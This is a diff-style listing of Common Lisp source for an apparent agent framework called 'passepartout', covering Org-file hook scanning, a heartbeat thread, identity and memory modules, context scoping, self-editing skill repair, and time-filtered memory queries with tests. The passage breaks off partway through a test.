(defun orchestrator-scan-org-file (filepath)
|
||||
"Scans a single Org file for HOOK and CRON properties in property drawers.
|
||||
Returns a list of plists (:type :hook/:cron :name <str> :value <str>)."
|
||||
(let ((results nil)
|
||||
(in-properties nil)
|
||||
(lines nil))
|
||||
(handler-case
|
||||
(setf lines (uiop:split-string (uiop:read-file-string filepath)
|
||||
:separator '(#\Newline)))
|
||||
(error (c)
|
||||
(log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c)
|
||||
(return-from orchestrator-scan-org-file nil)))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(when (string= trimmed ":PROPERTIES:")
|
||||
(setf in-properties t))
|
||||
(when (string= trimmed ":END:")
|
||||
(setf in-properties nil))
|
||||
(when in-properties
|
||||
(cond
|
||||
((uiop:string-prefix-p ":HOOK:" trimmed)
|
||||
(let ((val (string-trim '(#\Space) (subseq trimmed 6))))
|
||||
(push (list :type :hook :name val :file filepath) results)
|
||||
(log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath)))
|
||||
((uiop:string-prefix-p ":CRON:" trimmed)
|
||||
(let ((val (string-trim '(#\Space) (subseq trimmed 6))))
|
||||
(push (list :type :cron :name val :file filepath) results)
|
||||
(log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath)))))))
|
||||
(nreverse results)))
|
||||
|
||||
(defun orchestrator-bootstrap ()
|
||||
"Scans all Org files in the memex for #+HOOK: and #+CRON: properties
|
||||
and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
|
||||
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
|
||||
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
|
||||
(scan-dirs (list (merge-pathnames "projects/" memex-dir)
|
||||
(merge-pathnames "system/" memex-dir)))
|
||||
(hook-count 0)
|
||||
(cron-count 0))
|
||||
(dolist (dir scan-dirs)
|
||||
(handler-case
|
||||
(let ((files (uiop:directory-files dir "*.org")))
|
||||
(dolist (file files)
|
||||
(let* ((path (namestring file))
|
||||
(entries (orchestrator-scan-org-file path)))
|
||||
(dolist (entry entries)
|
||||
(let ((type (getf entry :type))
|
||||
(name (getf entry :name)))
|
||||
(cond
|
||||
((eq type :hook)
|
||||
(orchestrator-register-hook name
|
||||
(lambda ()
|
||||
(log-message "ORCHESTRATOR: Hook ~a fired" name))))
|
||||
((eq type :cron)
|
||||
(orchestrator-register-cron
|
||||
(intern (string-upcase (format nil "cron-~a" name)) :keyword)
|
||||
name
|
||||
(lambda ()
|
||||
(log-message "ORCHESTRATOR: Cron ~a fired" name))
|
||||
:cognition))))
|
||||
(if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count))))))
|
||||
(error (c)
|
||||
(log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c))))
|
||||
(log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)"
|
||||
hook-count cron-count)))
|
||||
|
||||
(defun events-start-heartbeat ()
|
||||
"Starts the background heartbeat thread. v0.5.0: extracted from core-loop."
|
||||
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
|
||||
(auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) passepartout::*memory-auto-save-interval*)))
|
||||
(setf passepartout::*memory-auto-save-interval* auto-save)
|
||||
(setf passepartout::*heartbeat-save-counter* 0)
|
||||
(setf passepartout::*heartbeat-thread*
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(sleep interval)
|
||||
(incf passepartout::*heartbeat-save-counter*)
|
||||
(when (>= passepartout::*heartbeat-save-counter* (/ passepartout::*memory-auto-save-interval* interval))
|
||||
(setf passepartout::*heartbeat-save-counter* 0)
|
||||
(passepartout::save-memory-to-disk))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "passepartout-heartbeat"))))
|
||||
|
||||
(defskill :passepartout-symbolic-events
|
||||
:priority 80
|
||||
:trigger (lambda (ctx)
|
||||
(eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic (lambda (action context)
|
||||
(declare (ignore action))
|
||||
(orchestrator-on-heartbeat context)
|
||||
nil))
|
||||
92
lisp/symbolic-identity.lisp
Normal file
92
lisp/symbolic-identity.lisp
Normal file
@@ -0,0 +1,92 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *agent-identity* ""
|
||||
"Identity text loaded from ~/memex/IDENTITY.org at startup.
|
||||
|
||||
This variable holds the contents of the user's identity file.
|
||||
Loaded by `load-identity-file` at daemon/skill initialization,
|
||||
called from `agent-identity` for system prompt injection.
|
||||
|
||||
The file is user-editable and persists across restarts.
|
||||
If the file is missing or empty, this variable remains \"\".")
|
||||
|
||||
(defun load-identity-file (&optional (path nil path-p))
|
||||
"Load agent identity from an org file.
|
||||
|
||||
Reads the identity text file and caches it in
|
||||
`*agent-identity*`. If PATH is not provided, defaults to
|
||||
`~/memex/IDENTITY.org`.
|
||||
|
||||
Returns the file content string on success, or NIL if the file
|
||||
does not exist or cannot be read."
|
||||
(let* ((file-path (if path-p
|
||||
(uiop:ensure-pathname path :ensure-absolute t)
|
||||
(merge-pathnames "memex/IDENTITY.org"
|
||||
(user-homedir-pathname)))))
|
||||
(when (uiop:file-exists-p file-path)
|
||||
(handler-case
|
||||
(let ((content (uiop:read-file-string file-path)))
|
||||
(setf *agent-identity* content)
|
||||
content)
|
||||
(error () nil)))))
|
||||
|
||||
(defun agent-identity ()
|
||||
"Return the currently loaded agent identity string."
|
||||
(or *agent-identity* ""))
|
||||
|
||||
;; Auto-load identity at skill init
|
||||
(load-identity-file)
|
||||
|
||||
(defpackage :passepartout-identity-tests
|
||||
(:use :common-lisp :fiveam :passepartout)
|
||||
(:export :identity-suite))
|
||||
|
||||
(in-package :passepartout-identity-tests)
|
||||
|
||||
(def-suite identity-suite
|
||||
:description "Agent identity loading and caching")
|
||||
(in-suite identity-suite)
|
||||
|
||||
(test test-load-identity-file-returns-content
|
||||
"Contract 1: load-identity-file reads an existing file, returns content."
|
||||
(let* ((path "/tmp/memex-test-identity.org")
|
||||
(content "### Personality
|
||||
- Friendly
|
||||
- Concise"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(let ((result (passepartout::load-identity-file path)))
|
||||
(is (stringp result))
|
||||
(is (search "Friendly" result))
|
||||
(is (search "Concise" result)))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-load-identity-file-missing-nil
|
||||
"Contract 1: nil when file does not exist."
|
||||
(let ((result (passepartout::load-identity-file
|
||||
"/tmp/memex-nonexistent-xxxx.org")))
|
||||
(is (null result))))
|
||||
|
||||
(test test-agent-identity-cached
|
||||
"Contract 2+3: agent-identity returns cached value after load."
|
||||
(let* ((path "/tmp/memex-test-identity2.org")
|
||||
(content "### Preferences
|
||||
- Use shell cautiously"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(passepartout::load-identity-file path)
|
||||
(let ((id (passepartout::agent-identity)))
|
||||
(is (search "shell cautiously" id))))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-agent-identity-empty-default
|
||||
"Contract 2: returns empty string when nothing was loaded."
|
||||
(let ((prev passepartout::*agent-identity*))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf passepartout::*agent-identity* nil)
|
||||
(is (string= "" (passepartout::agent-identity))))
|
||||
(setf passepartout::*agent-identity* prev))))
|
||||
73
lisp/symbolic-memory.lisp
Normal file
73
lisp/symbolic-memory.lisp
Normal file
@@ -0,0 +1,73 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
|
||||
"Returns a structured report of memory state.
|
||||
Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
|
||||
Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
|
||||
:recent <list> :snapshots <n> :orphans <n>)."
|
||||
(let* ((store (if (boundp '*memory-store*)
|
||||
(symbol-value '*memory-store*)
|
||||
(return-from memory-inspect
|
||||
(list :total 0 :reason "Memory store not available"))))
|
||||
(total 0)
|
||||
(type-counts (make-hash-table :test 'eq))
|
||||
(todo-counts (make-hash-table :test 'equal))
|
||||
(recent nil)
|
||||
(all-ids (make-hash-table :test 'equal))
|
||||
(orphans 0))
|
||||
(maphash (lambda (id obj)
|
||||
(setf (gethash id all-ids) t)
|
||||
(let ((obj-type (memory-object-type obj))
|
||||
(attrs (memory-object-attributes obj))
|
||||
(v (memory-object-version obj)))
|
||||
(unless (and type-filter (not (eq obj-type type-filter)))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when (and todo-filter
|
||||
(not (string-equal todo todo-filter)))
|
||||
(return nil)))
|
||||
(incf total)
|
||||
(incf (gethash obj-type type-counts 0))
|
||||
(let ((todo (getf attrs :TODO-STATE)))
|
||||
(when todo
|
||||
(incf (gethash todo todo-counts 0))))
|
||||
(push (list :id id
|
||||
:type t
|
||||
:todo (getf attrs :TODO-STATE)
|
||||
:title (getf attrs :TITLE)
|
||||
:version v)
|
||||
recent))))
|
||||
store)
|
||||
;; Sort recent by version desc and take LIMIT
|
||||
(setf recent (subseq (sort recent #'>
|
||||
:key (lambda (r) (or (getf r :version) 0)))
|
||||
0 (min limit (length recent))))
|
||||
;; Count orphans
|
||||
(maphash (lambda (id obj)
|
||||
(let ((parent (memory-object-parent-id obj)))
|
||||
(when (and parent (not (gethash parent all-ids)))
|
||||
(incf orphans))))
|
||||
store)
|
||||
;; Build output
|
||||
(let ((types (loop for k being the hash-keys of type-counts
|
||||
using (hash-value v)
|
||||
collect (cons k v)))
|
||||
(todos (loop for k being the hash-keys of todo-counts
|
||||
using (hash-value v)
|
||||
collect (cons k v)))
|
||||
(snapshots (if (boundp '*memory-snapshots*)
|
||||
(length (symbol-value '*memory-snapshots*))
|
||||
0)))
|
||||
(list :total total
|
||||
:by-type (sort types #'> :key #'cdr)
|
||||
:by-todo (sort todos #'> :key #'cdr)
|
||||
:recent recent
|
||||
:snapshots snapshots
|
||||
:orphans orphans))))
|
||||
|
||||
(defskill :passepartout-symbolic-memory
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection))
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore action ctx))
|
||||
(ignore-errors (memory-inspect))
|
||||
nil))
|
||||
168
lisp/symbolic-scope.lisp
Normal file
168
lisp/symbolic-scope.lisp
Normal file
@@ -0,0 +1,168 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *context-stack* nil
|
||||
"Stack of context plists. Each plist has :project, :base-path, :scope.
|
||||
Top of stack (car) is the current context.")
|
||||
|
||||
(defvar *context-max-depth* 10
|
||||
"Maximum context stack depth. Prevents runaway pushes.")
|
||||
|
||||
(defun current-context ()
|
||||
"Returns the current context plist, or nil if no context is set."
|
||||
(car *context-stack*))
|
||||
|
||||
(defun current-scope ()
|
||||
"Returns the current scope keyword (:memex/:session/:project).
|
||||
Returns :memex when no context is set (defaults to global scope)."
|
||||
(or (getf (current-context) :scope) :memex))
|
||||
|
||||
(defun current-project ()
|
||||
"Returns the current project name, or nil."
|
||||
(getf (current-context) :project))
|
||||
|
||||
(defun current-base-path ()
|
||||
"Returns the current base path for file resolution, or nil."
|
||||
(getf (current-context) :base-path))
|
||||
|
||||
(defun context-stack-depth ()
|
||||
"Returns the current depth of the context stack."
|
||||
(length *context-stack*))
|
||||
|
||||
(defun push-context (&key project base-path (scope :project))
|
||||
"Pushes a new context onto the stack. When focused on a project:
|
||||
- File paths resolve relative to BASE-PATH
|
||||
- Memory queries filter by SCOPE
|
||||
- :memex scope objects remain visible (always global)
|
||||
Returns the new context plist."
|
||||
(when (>= (context-stack-depth) *context-max-depth*)
|
||||
(log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
|
||||
(return-from push-context (current-context)))
|
||||
(let* ((context (list :project project
|
||||
:base-path base-path
|
||||
:scope scope)))
|
||||
(push context *context-stack*)
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
|
||||
context))
|
||||
|
||||
(defun pop-context ()
|
||||
"Pops the current context, restoring the previous one.
|
||||
Returns the restored context or nil if stack becomes empty."
|
||||
(if *context-stack*
|
||||
(let ((popped (pop *context-stack*)))
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Popped ~a (depth ~d)"
|
||||
(getf popped :project) (context-stack-depth))
|
||||
(current-context))
|
||||
(progn
|
||||
(log-message "CONTEXT: Cannot pop — stack is empty")
|
||||
nil)))
|
||||
|
||||
(defmacro with-context ((&key project base-path (scope :project)) &body body)
|
||||
"Executes BODY within a scoped context, then restores the previous context.
|
||||
Example:
|
||||
(with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
|
||||
(context-scoped-query :tag \"bug\"))"
|
||||
`(let ((*context-stack* (cons (list :project ,project
|
||||
:base-path ,base-path
|
||||
:scope ,scope)
|
||||
*context-stack*)))
|
||||
,@body))
|
||||
|
||||
(defun resolve-path (path)
|
||||
"Resolves a file path relative to the current context.
|
||||
If PATH is absolute, returns it unchanged.
|
||||
If PATH is relative and a base-path is set, merges them.
|
||||
Otherwise returns PATH unchanged."
|
||||
(let ((base (current-base-path)))
|
||||
(if (and base path (not (uiop:absolute-pathname-p path)))
|
||||
(namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
|
||||
path)))
|
||||
|
||||
(defun context-scoped-query (&key tag todo-state type)
|
||||
"Like context-query but filtered to the current context's scope.
|
||||
:memex-scoped objects are always visible regardless of current scope."
|
||||
(context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
|
||||
|
||||
(defun project-objects ()
|
||||
"Returns all objects scoped to the current project.
|
||||
Includes :memex-scoped objects (global knowledge) plus :project-scoped
|
||||
objects matching the current project."
|
||||
(context-scoped-query))
|
||||
|
||||
(defun focus-project (name base-path)
|
||||
"Shortcut: focus on a project by name and base path.
|
||||
Calls push-context with :scope :project."
|
||||
(push-context :project name :base-path base-path :scope :project))
|
||||
|
||||
(defun focus-session ()
|
||||
"Shortcut: enter a session context (ephemeral scope).
|
||||
Objects created in this scope are visible only during the session."
|
||||
(push-context :project "session" :scope :session))
|
||||
|
||||
(defun focus-memex ()
|
||||
"Shortcut: return to global memex scope. Equivalent to pop-context
|
||||
until stack is empty or :memex context is reached."
|
||||
(loop while (and *context-stack*
|
||||
(not (eq (getf (current-context) :scope) :memex)))
|
||||
do (pop-context)))
|
||||
|
||||
(defun unfocus ()
|
||||
"Pop the top context and return to the previous one."
|
||||
(pop-context))
|
||||
|
||||
(defvar *context-persistence-file* nil
|
||||
"Path to the context stack persistence file.")
|
||||
|
||||
(defun context-persist-file ()
|
||||
"Returns the full path to the context persistence file."
|
||||
(or *context-persistence-file*
|
||||
(setf *context-persistence-file*
|
||||
(merge-pathnames ".cache/passepartout/context.lisp"
|
||||
(user-homedir-pathname)))))
|
||||
|
||||
(defun context-save ()
|
||||
"Writes *context-stack* to the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(ensure-directories-exist (make-pathname :directory (pathname-directory path)))
|
||||
(with-open-file (s path :direction :output :if-exists :supersede
|
||||
:if-does-not-exist :create)
|
||||
(prin1 *context-stack* s))
|
||||
(log-message "CONTEXT: Saved stack (depth ~d) to ~a"
|
||||
(length *context-stack*) path))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to save: ~a" c))))
|
||||
|
||||
(defun context-load ()
|
||||
"Restores *context-stack* from the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(when (probe-file path)
|
||||
(with-open-file (s path :direction :input)
|
||||
(let ((*read-eval* nil)
|
||||
(data (read s nil nil)))
|
||||
(when (listp data)
|
||||
(setf *context-stack* data)
|
||||
(log-message "CONTEXT: Restored stack (depth ~d) from ~a"
|
||||
(length *context-stack*) path))
|
||||
t))))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to load: ~a" c)
|
||||
nil)))
|
||||
|
||||
(defskill :passepartout-symbolic-scope
|
||||
:priority 90
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore action))
|
||||
(ignore-errors
|
||||
(when (> (context-stack-depth) 0)
|
||||
nil))
|
||||
nil))
|
||||
|
||||
(when (boundp '*scope-resolver*)
|
||||
(setf *scope-resolver* #'current-scope))
|
||||
|
||||
;; Restore persisted context on load
|
||||
(context-load)
|
||||
198
lisp/symbolic-self-improve.lisp
Normal file
198
lisp/symbolic-self-improve.lisp
Normal file
@@ -0,0 +1,198 @@
|
||||
(defun org-tangle-file (filepath)
|
||||
"Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
|
||||
(let ((content (uiop:read-file-string filepath))
|
||||
(tangle-path nil)
|
||||
(lisp-lines nil)
|
||||
(in-block nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((and (null tangle-path)
|
||||
(search "#+PROPERTY:" trimmed)
|
||||
(search ":tangle" trimmed))
|
||||
(let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
|
||||
(target (car (last parts)))
|
||||
(org-dir (make-pathname :directory (pathname-directory filepath))))
|
||||
(when (and target (not (string-equal target "no")))
|
||||
(setf tangle-path
|
||||
(if (char= (aref target 0) #\/)
|
||||
(uiop:parse-unix-namestring target)
|
||||
(uiop:parse-unix-namestring
|
||||
(format nil "~a/~a" (namestring org-dir) target)))))))
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t))
|
||||
((search "#+end_src" trimmed)
|
||||
(setf in-block nil)
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) lisp-lines))))
|
||||
(in-block
|
||||
(push line lisp-lines)))))
|
||||
(when (and tangle-path lisp-lines)
|
||||
(setf lisp-lines (nreverse lisp-lines))
|
||||
(ensure-directories-exist tangle-path)
|
||||
(with-open-file (f tangle-path :direction :output :if-exists :supersede)
|
||||
(format f "~{~a~%~}" lisp-lines))
|
||||
(let ((compiled (compile-file tangle-path)))
|
||||
(when compiled
|
||||
(load compiled)
|
||||
(list :tangled (namestring tangle-path) :compiled t))))))
|
||||
|
||||
(defun org-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
|
||||
(let ((blocks nil)
|
||||
(in-block nil)
|
||||
(current nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t current nil))
|
||||
((search "#+end_src" trimmed)
|
||||
(when in-block
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) current)))
|
||||
(push (format nil "~{~a~%~}" (nreverse current)) blocks)
|
||||
(setf in-block nil current nil)))
|
||||
(in-block
|
||||
(push line current)))))
|
||||
(nreverse blocks)))
|
||||
|
||||
(defun self-improve-edit (filepath old-text new-text)
|
||||
"Surgical text replacement with tangle+reload for Org source files."
|
||||
(when (or (null filepath) (null old-text) (null new-text))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason "Missing arguments")))
|
||||
(when (not (uiop:file-exists-p filepath))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason (format nil "File not found: ~a" filepath))))
|
||||
(log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
|
||||
(ignore-errors
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory)))
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(pos (search old-text content)))
|
||||
(if pos
|
||||
(let* ((new-content (concatenate 'string
|
||||
(subseq content 0 pos)
|
||||
new-text
|
||||
(subseq content (+ pos (length old-text)))))
|
||||
(ext (pathname-type filepath)))
|
||||
(with-open-file (f filepath :direction :output :if-exists :supersede)
|
||||
(write-sequence new-content f))
|
||||
(let ((re-read (uiop:read-file-string filepath)))
|
||||
(if (search new-text re-read :test 'string=)
|
||||
(let ((tangle-result
|
||||
(when (string-equal ext "org")
|
||||
(ignore-errors (org-tangle-file filepath)))))
|
||||
(list :status :success
|
||||
:summary (format nil "Replaced ~d chars in ~a"
|
||||
(length old-text) filepath)
|
||||
:tangle tangle-result))
|
||||
(list :status :error :reason "Verification failed"))))
|
||||
(list :status :error :reason
|
||||
(format nil "Text not found in ~a" filepath)))))
|
||||
|
||||
(defun self-improve-balance-parens (code)
|
||||
"Returns balanced code or nil if already balanced."
|
||||
(handler-case
|
||||
(progn
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s code)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)))
|
||||
(values))
|
||||
nil)
|
||||
(error ()
|
||||
(let* ((opens (loop for ch across code count (char= ch #\()))
|
||||
(closes (loop for ch across code count (char= ch #\))))
|
||||
(missing (- opens closes)))
|
||||
(when (plusp missing)
|
||||
(concatenate 'string code
|
||||
(make-string missing :initial-element #\))))))))
|
||||
|
||||
(defun self-improve-repair-syntax (skill-name)
|
||||
"Find and fix unbalanced parens in a skill's Org source file."
|
||||
(let* ((data-dir (uiop:ensure-directory-pathname
|
||||
(or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
|
||||
(merge-pathnames ".local/share/passepartout/"
|
||||
(user-homedir-pathname)))))
|
||||
(org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
|
||||
(unless (uiop:file-exists-p org-path)
|
||||
(return-from self-improve-repair-syntax
|
||||
(list :status :error :reason (format nil "Source not found: ~a" skill-name)
|
||||
:repaired nil)))
|
||||
(let* ((content (uiop:read-file-string org-path))
|
||||
(blocks (org-extract-lisp-blocks content))
|
||||
(fixed 0) (result content))
|
||||
(dolist (block blocks)
|
||||
(let ((balanced (self-improve-balance-parens block)))
|
||||
(when (and balanced (not (string= block balanced)))
|
||||
(let ((pos (search block result)))
|
||||
(when pos
|
||||
(setf result (concatenate 'string
|
||||
(subseq result 0 pos)
|
||||
balanced
|
||||
(subseq result (+ pos (length block))))
|
||||
fixed (1+ fixed)))))))
|
||||
(if (> fixed 0)
|
||||
(progn
|
||||
(with-open-file (f org-path :direction :output :if-exists :supersede)
|
||||
(write-sequence result f))
|
||||
(let ((tangle-result (org-tangle-file org-path)))
|
||||
(list :status :success
|
||||
:action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
|
||||
:repaired t :tangle tangle-result)))
|
||||
(list :status :error
|
||||
:reason (format nil "No unbalanced blocks in ~a" skill-name)
|
||||
:repaired nil)))))
|
||||
|
||||
(defun self-improve-fix (skill-name error-log)
|
||||
"Diagnoses and attempts to repair a failing skill."
|
||||
(when (or (null skill-name) (null error-log))
|
||||
(return-from self-improve-fix
|
||||
(list :status :error :reason "Missing arguments: skill-name and error-log required")))
|
||||
(log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
|
||||
(let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
|
||||
(diagnosis nil)
|
||||
(extracted-type nil))
|
||||
(cond
|
||||
((search "Reader Error" log-str :test 'char-equal)
|
||||
(setf extracted-type :syntax-error
|
||||
diagnosis (list :type :syntax-error
|
||||
:detail "Reader Error (likely unbalanced parentheses)"
|
||||
:log log-str)))
|
||||
((search "Undefined" log-str :test 'char-equal)
|
||||
(setf extracted-type :undefined-symbol
|
||||
diagnosis (list :type :undefined-symbol
|
||||
:detail "Undefined symbol or missing dependency"
|
||||
:log log-str)))
|
||||
((search "PACKAGE" log-str :test 'char-equal)
|
||||
(setf extracted-type :package-error
|
||||
diagnosis (list :type :package-error
|
||||
:detail "Package resolution error"
|
||||
:log log-str)))
|
||||
(t
|
||||
(setf extracted-type :unknown
|
||||
diagnosis (list :type :unknown
|
||||
:detail (format nil "Unrecognized error: ~a"
|
||||
(subseq log-str 0 (min 200 (length log-str))))
|
||||
:log log-str))))
|
||||
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
|
||||
(let ((repair-result
|
||||
(when (eql extracted-type :syntax-error)
|
||||
(self-improve-repair-syntax skill-name))))
|
||||
(if (and repair-result (getf repair-result :repaired))
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
|
||||
repair-result)
|
||||
(list :status :error
|
||||
:reason (format nil "Diagnosis for ~a: ~a" skill-name
|
||||
(getf diagnosis :detail))
|
||||
:diagnosis diagnosis
|
||||
:repaired nil)))))
|
||||
|
||||
(defskill :passepartout-symbolic-self-improve
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT)))
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
113
lisp/symbolic-time-memory.lisp
Normal file
113
lisp/symbolic-time-memory.lisp
Normal file
@@ -0,0 +1,113 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun memory-objects-since (timestamp)
|
||||
"Returns all memory-objects from *memory-store* with version >= TIMESTAMP."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(when (>= (memory-object-version obj) timestamp)
|
||||
(push obj results)))
|
||||
*memory-store*)
|
||||
(nreverse results)))
|
||||
|
||||
(defun memory-objects-in-range (since until)
|
||||
"Returns memory-objects with version between SINCE and UNTIL (inclusive)."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let ((v (memory-object-version obj)))
|
||||
(when (and (>= v since) (<= v until))
|
||||
(push obj results))))
|
||||
*memory-store*)
|
||||
(nreverse results)))
|
||||
|
||||
(defun context-query-with-time (&key (max-results 20) type-filter todo-filter since until)
|
||||
"Extended context query with temporal filtering.
|
||||
When :since and/or :until are provided, filters results by memory-object version.
|
||||
Falls back to context-query if temporal filtering is not requested."
|
||||
(let* ((all (if (fboundp 'memory-objects-by-attribute)
|
||||
(if type-filter
|
||||
(memory-objects-by-attribute :TYPE type-filter)
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(push obj results))
|
||||
*memory-store*)
|
||||
results))
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(push obj results))
|
||||
*memory-store*)
|
||||
results)))
|
||||
(time-filtered (cond
|
||||
((and since until)
|
||||
(remove-if (lambda (obj)
|
||||
(let ((v (memory-object-version obj)))
|
||||
(not (and (>= v since) (<= v until)))))
|
||||
all))
|
||||
(since
|
||||
(remove-if (lambda (obj)
|
||||
(< (memory-object-version obj) since))
|
||||
all))
|
||||
(until
|
||||
(remove-if (lambda (obj)
|
||||
(> (memory-object-version obj) until))
|
||||
all))
|
||||
(t all))))
|
||||
(let ((todo-filtered (if todo-filter
|
||||
(remove-if-not (lambda (obj)
|
||||
(string-equal (getf (memory-object-attributes obj) :TODO-STATE "") todo-filter))
|
||||
time-filtered)
|
||||
time-filtered)))
|
||||
(subseq todo-filtered 0 (min max-results (length todo-filtered))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-time-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:time-memory-suite))
|
||||
|
||||
(in-package :passepartout-time-memory-tests)
|
||||
|
||||
(def-suite time-memory-suite :description "Temporal memory filtering")
|
||||
(in-suite time-memory-suite)
|
||||
|
||||
(test test-memory-objects-since
|
||||
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
|
||||
(let ((since-t1 (passepartout::memory-objects-since t1)))
|
||||
(is (= 2 (length since-t1)))
|
||||
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
|
||||
(is (string= "time-c" (first ids)))
|
||||
(is (string= "time-d" (second ids))))
|
||||
(let ((since-t0 (passepartout::memory-objects-since t0)))
|
||||
(is (= 4 (length since-t0))))))))
|
||||
|
||||
(test test-memory-objects-in-range
|
||||
"Contract 2: ingest nodes, verify range query returns correct subset."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
|
||||
(sleep 1)
|
||||
